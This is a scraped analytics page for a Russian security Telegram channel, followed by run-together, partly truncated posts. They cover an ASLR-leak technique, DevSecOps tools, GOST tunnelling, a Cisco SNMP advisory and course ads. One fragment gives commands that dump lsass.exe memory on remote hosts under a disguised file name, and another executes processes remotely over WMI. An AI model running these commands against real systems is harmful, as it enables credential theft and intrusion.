Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
Show more📈 Analytical overview of Telegram channel Codeby
Channel Codeby (@codeby_sec) in the Russian language segment is an active participant. Currently, the community unites 36 571 subscribers, ranking 3 756 in the Technologies & Applications category and 17 798 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 36 571 subscribers.
According to the latest data from 08 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 203 over the last 30 days and by 9 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 7.70%. Within the first 24 hours after publication, content typically collects 4.22% reactions from the total number of subscribers.
- Post reach: On average, each post receives 2 817 views. Within the first day, a publication typically gains 1 545 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 19.
- Thematic interests: Content is focused on key topics such as edr, api, вектор, mitre, att&ck.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
Thanks to the high frequency of updates (latest data received on 09 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
Полученные выводы были ответственно раскрыты компании Apple, которая изучила проблему и устранила ее в своих обновлениях безопасности, выпущенных 31 марта 2025 года.🟧 Механизм атаки В основе техники лежит предсказуемое поведение процессов сериализации и внутренняя работа объектов NSDictionary (которые, по сути, являются хэш-таблицами) в среде Apple.
Цель атаки
— утечка адреса памяти системного синглтона (уникального объекта)
NSNull
. Адрес этого объекта используется в качестве его хэш-значения. Утечка этого хэш-значения эквивалентна утечке самого адреса объекта, что подрывает защиту
ASLR
для общей области памяти (кэша), в которой он находится.🟧 Процесс атаки имеет несколько этапов: 🟧Злоумышленник создает сериализованный объект NSDictionary. Этот словарь содержит комбинацию ключей NSNumber (хэш-значения которых можно контролировать) и один ключ NSNull. 🟧Ключи NSNumber подбираются таким образом, чтобы они заняли конкретные «сегменты» (bucket) внутри хэш-таблицы, создавая заранее известную схему заполненных и пустых слотов. 🟧Приложение-жертва десериализирует присланный объект, создавая его копию в своей памяти. Когда это приложение повторно сериализирует объект (например, чтобы отправить его обратно), оно перебирает сегменты хэш-таблицы в предсказуемом порядке. 🟧Позиция, которую ключ NSNull занимает в возвращенных сериализованных данных, указывает на тот сегмент хэш-таблицы, в который он был помещен. Это раскрывает частичную информацию о его адресе в памяти, а именно результат вычисления адрес modulo размер_таблицы. 🟧Для реконструкции полного 64-битного адреса памяти в этой технике применяется китайская теорема об остатках. Злоумышленник отправляет жертве множество словарей разного размера (каждый — с разным простым числом сегментов). Это позволяет собрать несколько различных «остатков» от адреса.
Комбинируя эти результаты, можно вычислить точное местоположение синглтона
NSNull
в памяти, что эффективно обходит защиту
ASLR
для этой области.🟧 Подытожим Данное исследование демонстрирует, что использование сырых указателей на объекты (их адресов в памяти) в качестве основы для хэш-значений в структурах данных может привести к прямой утечке конфиденциальной информации, если результат сериализации становится доступен злоумышленнику.
В отличие от классических атак по боковым каналам, которые измеряют разницу во времени выполнения операций, этот метод опирается исключительно на детерминированный (предсказуемый) результат процесса сериализации.Исследователь отмечает, что наиболее надежным способом защиты является отказ от использования адресов объектов в качестве хэш-ключей или дополнительное хэширование этих адресов с помощью случайной функции, чтобы предотвратить их прямое раскрытие.
Это позволяет устранять дефекты при их возникновении, снижая стоимость исправления по сравнению с обнаружением уязвимостей в готовом продукте.🟧Автоматизация процессов безопасности (Automate Security Processes) Для соответствия скорости CI/CD-пайплайнов необходима полная автоматизация проверок. Интеграция сканирования инфраструктуры как код (IaC) на этапе планирования развертывания предотвращает создание небезопасно сконфигурированных ресурсов. Автоматическое обнаружение секретов в каждом коммите минимизирует риски утечки учетных данных.
Например, пайплайн может быть автоматически остановлен при обнаружении ключа доступа в коде, что исключает человеческий фактор и ускоряет обратную связь.🟧Приоритизация на основе рисков (Risk-Based Prioritization) В условиях ограниченных ресурсов важно фокусироваться на наиболее значимых угрозах. Использование метрик EPSS позволяет оценить вероятность эксплуатации уязвимости, а анализ достижимости определяет возможность активации уязвимого кода в рабочей среде. Например, уязвимость в недоступном извне административном интерфейсе будет иметь более низкий приоритет по сравнению с уязвимостью на публичной странице аутентификации.
Это позволяет командам оптимально распределять усилия по устранению недостатков.🟧Автоматическая защита секретов (Automated Secrets Management) Проактивное управление секретами включает сканирование репозиториев на наличие учетных данных и их автоматический отзыв.
Например, интеграция с системами типа
HashiCorp Vault
позволяет не только выявить случайно закоммиченный токен
API
, но и немедленно аннулировать его, сводя к минимуму окно возможной компрометации до развертывания кода в продуктивной среде.🟧Контроль безопасности инфраструктуры как код (IaC Security) Безопасность инфраструктуры должна проверяться на стадии разработки конфигураций. Сканирование шаблонов Terraform или Kubernetes выявляет мисконфигурации, такие как: излишне разрешительные политики безопасности или нешифруемые хранилища данных.
Исправление ошибок на этапе кода предотвращает создание уязвимых сред и обеспечивает соответствие стандартам комплаенс.🟧Формирование культуры безопасности (Cultivating a Security-First Culture) Успех DevSecOps зависит от вовлеченности всей команды. Регулярные тренировки по безопасному программированию, внедрение практик code review с фокусом на безопасность и предоставление разработчикам оперативной обратной связи через инструменты способствуют повышению коллективной ответственности.
Когда разработчик сразу видит результаты проверки
SAST
, это ускоряет внедрение лучших практик безопасности.🟧Повышение видимости с помощью дашбордов и отчетности (Enhanced Visibility and Reporting) Централизованные дашборды обеспечивают единую точку мониторинга метрик безопасности для всех стейкхолдеров. Например, они могут отображать динамику обнаружения уязвимостей, их критичность и скорость устранения.
Интеграция с системами управления задачами (
Jira
) автоматизирует создание тикетов на исправление, обеспечивая прозрачность процесса управления рисками.🟧Непрерывный мониторинг пайплайнов (Continuous Pipeline Monitoring) Практика направлена на обнаружение аномалий в процессах CI/CD. Мониторинг на основе поведенческого анализа выявляет подозрительную активность, например, запуск сборок из неавторизованных источников.
Отслеживание дрейфа конфигураций обеспечивает соответствие пайплайнов политикам безопасности на протяжении всего жизненного цикла.
Checkov — фреймворк с открытым исходным кодом от компании Bridgecrew, предназначенный для сканирования облачной инфраструктуры, описанной в виде кода, на предмет наличия ошибок конфигурации. Он анализирует ваши шаблоны Terraform, CloudFormation, Kubernetes манифесты, конфигурации Helm и другие файлы IaC, проверяя их на соответствие сотням предопределенных политик. Эти политики основаны на практиках от облачных провайдеров (AWS, Azure, GCP) и стандартов безопасности (CIS Benchmarks).🔜 Что умеет? - Находит уязвимости до того, как инфраструктура будет развернута, следуя принципу «Shift Left» в безопасности. - Поддерживает все основные облачные платформы. - Работает с Terraform, CloudFormation, Kubernetes, ARM Templates, Dockerfile и многими другими. - Позволяет создавать собственные пользовательские политики на простом языке Python. 🟣Установка Самый быстрый способ — использовать менеджер пакетов pipх.
pipx install checkov
🟣Проверка
checkov -h
🟣Базовое использование
У вас есть директория с файлами Terraform (.tf). Просканируем ее:
checkov -d /path/to/your/terraform/code
Checkov рекурсивно просканирует все файлы в указанной директории, определит их тип и запустит соответствующие проверки.
🟣Сканирование конкретного файла
Проверим конкретный файл, например, манифест Kubernetes:
checkov -f deployment.yaml
🟣Интеграция в CI/CD
Сила Checkov раскрывается при его интеграции в конвейер непрерывной интеграции и доставки (CI/CD). Например, в GitHub Actions это можно сделать так:
name: "Security Scan"
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
checkov:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run Checkov
uses: bridgecrewio/checkov-action@master
with:
directory: .
framework: terraform #можно указать конкретный фреймворк
Это гарантирует, что каждый
Pull Request
будет автоматически проверен на соответствие стандартам безопасности.
DefectDojo (django-DefectDojo) — это open-source решение для управления безопасностью приложений. Платформа объединяет сканеры, трекинг уязвимостей, автоматизацию, отчёты и аналитику на одной панели. Помогает командам DevSecOps, исследователям и инженерам безопасности управлять рисками, устранять дублирования и ускорять ответ на угрозы.⚡️ Основные возможности DefectDojo ➡️ Импорт результатов от множества сканеров (SAST, DAST, SCA и др.). ➡️ Объединение и устранение дублирующихся уязвимостей (deduplication) и автоматическое подавление ложных срабатываний. ➡️ Модель «Продукт / Взаимодействие / Engagement» — позволяет отслеживать проект, период сканирования, сравнивать состояния, создавать отчёты по проектам и версиям. ➡️ Интеграции: с более чем 180 инструментами и платформами, включая Jira, репозитории кода, инструменты сканирования, LDAP, OAuth2/SAML и др. ➡️ Отчёты, метрики и визуализация — дашборды, метрики тенденций, отчёты для различных заинтересованных сторон. ⬇️ Установка и запуск Клонируйте репозиторий:
git clone https://github.com/DefectDojo/django-DefectDojo.git
cd django-DefectDojo
Запуск через Docker Compose (предпочтительный вариант):
docker compose build
docker compose up -d
Администраторские учётные данные автоматически создаются через инициализатор.
⚙️ Преимущества DefectDojo
⏺️ Снижает ручную работу, помогая автоматизировать импорт, triage, отчёты.
⏺️ Централизует управление уязвимостями, предотвращает дубли и «шум» от одинаковых ошибок в разных сканах.
⏺️ Подходит как для малых команд, так и для крупных организаций, за счёт масштабируемости и множества интеграций.
⏺️ Прозрачность и видимость: дашборды, отчёты, метрики помогают донести состояние безопасности до руководства.python wmi-proc-dump.py user:pass@hostname -pid 580
python wmi-proc-dump.py user:pass@hostname -proc lsass.exe
python wmi-proc-dump.py user:pass@hostname -proc lsass.exe -rename chrome-debug.dmp
⏺️mtprocess.py - второй скрипт, реализующий метод CreateProcess класса MSFT_MTProcess. Кроме того, этот скрипт позволяет автоматически установить класс MSFT_MTProcess на рабочей станции.
python mtprocess.py -exec user:pass@hostname calc.exe
python mtprocess.py -exec -cimv2 user:pass@hostname calc.exeТеперь ещё больше практики: +6 новых видео, +16 лабораторных и +15 экзаменационных заданий. Добавлена виртуалка для Mac M-чипов и улучшена стабильность лаборатории.🎃 DevSecOps — системная безопасность CI/CD, облаков и контейнеров.
Старт первого потока — 10 ноября 2025 со скидкой 10%:🎃 Основы ИБ — идеальный старт, если вы только заходите в профессию, и хотите избежать хаоса.125 990 ₽113 391 ₽
Курс даст фундамент, с которого начинают карьеру в ИБ. Linux, сети, атаки, защита — всё, без чего не попасть в профессию. А первый поток — уже со скидкой!И многое другое! Все курсы включают: 🟧экспертную проверку заданий; 🟧доступ к виртуальным лабораториям; 🟧поддержку от преподавателей с опытом OSCP, CEH, CISSP; 🟧разборы атак и защитных мер, а на WAPT — живые вебинары с куратором! Смотрите карту курсов ЗДЕСЬ — и стройте свой путь: от основ до экспертизы.
И помните: «Лучшее время начать было год назад. Второе лучшее — сейчас!»Увидимся в лабораториях! 😎 🥇 @CodebyManagerBot
GOST (GO Simple Tunnel) — это мощный инструмент-туннель и прокси, написанный на Go, который позволяет создавать цепочки прокси, выполнять переадресацию портов, устраивать обратные прокси и многое другое.⚡️ Основные возможности GOST ⏺️ Поддержка множества протоколов: HTTP, HTTPS, HTTP2, SOCKS4(A), SOCKS5, Shadowsocks и др. ⏺️ Многопортовое слушание и прокси-цепочки (multi-level forward chaining) ⏺️ Переадресация TCP/UDP портов, обратный прокси, прозрачный прокси (transparent proxy) ⏺️ Поддержка туннелирования UDP поверх TCP, маршрутизация, контроль доступа, балансировка нагрузки ⏺️ Динамическая конфигурация, плагины, Web API, WebUI, GUI-клиенты ⬇️ Установка и запуск • Скачать бинарники или собрать из исходников:
git clone https://github.com/go-gost/gost.git
cd gost/cmd/gost
go build
🖥 Пример использования
➡️ Простой прокси
./gost -L http://:8080
Запускает HTTP-прокси на порту 8080.
➡️ Переадресация порта TCP
gost -L tcp://:2222/192.168.1.100:22Локальный порт 2222 направляется на SSH-порт 22 удалённой машины. ➡️ Использование цепочки проксей (proxy chain)
gost -L=:8080 -F=quic://remote:9000 -F=socks5://another:1080
Трафик сначала идёт через QUIC, затем через SOCKS5 и далее к конечной точке.
🪛 Применение и кейсы использования
➡️ Обход ограничений сети, проксирование трафика через цепочки, туннелирование.
➡️ Обратный прокси / туннельная проксификация: открытие доступа к внутренним сервисам через NAT-файрволы.
➡️ Вредоносное применение: злоумышленники используют GOST для проксирования трафика к C2-серверам.Cisco выпустила предупреждение о серьёзной уязвимости в подсистеме SNMP для IOS и IOS XE, которая уже эксплуатируется в реальной среде и может позволить удалённому атакующему выполнить произвольный код с привилегиями root или вызвать отказ в обслуживании (DoS).❓ Что произошло Исследователи и представитель Cisco обнаружили эксплуатацию уязвимости после того, как в одной из сетей были скомпрометированы локальные учётные записи администратора. Уязвимость связана с переполнением стека в обработке SNMP-запросов: специально сформированный пакет SNMP, отправленный по IPv4 или IPv6, может привести к DoS или к выполнению кода. Технические детали • Идентификатор уязвимости: CVE-2025-20352 (CVSS: 7.7). • Корень проблемы: стек-overflow в реализации SNMP (всех поддерживаемых версий SNMP). 🕷️ Условия успешной эксплуатации Для успешной эксплуатации необходимы конкретные привилегии/учётные данные: • Чтобы вызвать DoS, атакующему нужны учетные данные SNMPv2c (или ранее) — например, строка сообщества read-only — либо действительные учётные данные SNMPv3. • Чтобы выполнить произвольный код как root, атакующему требуется SNMPv1 или v2c read-only community и одновременно административные (privilege 15) или эквивалентные права на устройстве. Это означает, что неавторизованный внешний атакующий без учётных данных не сможет использовать уязвимость напрямую; однако компрометация локальных административных учётных записей существенно повышает риск. 📝 Какие устройства затронуты Cisco подчёркивает, что все устройства с включённым SNMP, у которых не исключён конкретный OID, считаются уязвимыми. Конкретно в уведомлении упомянуты также некоторые устройства Meraki (MS390) и Cisco Catalyst 9300, если они работают под Meraki CS 17 и ранее. Проблема исправлена в Cisco IOS XE Software Release 17.15.4a. (IOS XR и NX-OS не затронуты). ❗️ Рекомендации для администраторов 1. Проверьте, включён ли SNMP на ваших устройствах и кто имеет к нему доступ. 2. Ограничьте SNMP-доступ по IP-фильтрам и спискам управления доступом (ACL) — разрешайте только известным, доверенным хостам. 3. Поменяйте или отозвите старые SNMP community-строки и пересмотрите настройки SNMPv3 (используйте сильные учетные данные и шифрование). 4. Мониторьте логи и команду show snmp host для аномалий. 5. По возможности обновите уязвимые устройства до Cisco IOS XE 17.15.4a (или версии с исправлением) как можно скорее.
make setup запустит docker compose.
pip3 install raven-cycode
#OR
git clone https://github.com/CycodeLabs/raven.git
cd raven
make setup
👨💻Использование
Доступ ко всем рабочим процессам и действиям, связанным с учетной записью.
raven download account --token $GITHUB_TOKEN --account-name microsoft --account-name google --debugСканирование общедоступных репозиториев GitHub.
raven download crawl --token $GITHUB_TOKEN --min-stars 100 --max-stars 1000 --debugПосле завершения процесса загрузки или в случае прерывания с помощью сочетания клавиш Ctrl+C необходимо приступать к индексированию всех рабочих процессов и действий в базе данных Neo4j.
raven index --debugНа данном этапе можно создать отчёт с помощью библиотеки запросов.
raven report --severity high --tag injection --tag unauthenticated
Available now! Telegram Research 2025 — the year's key insights 
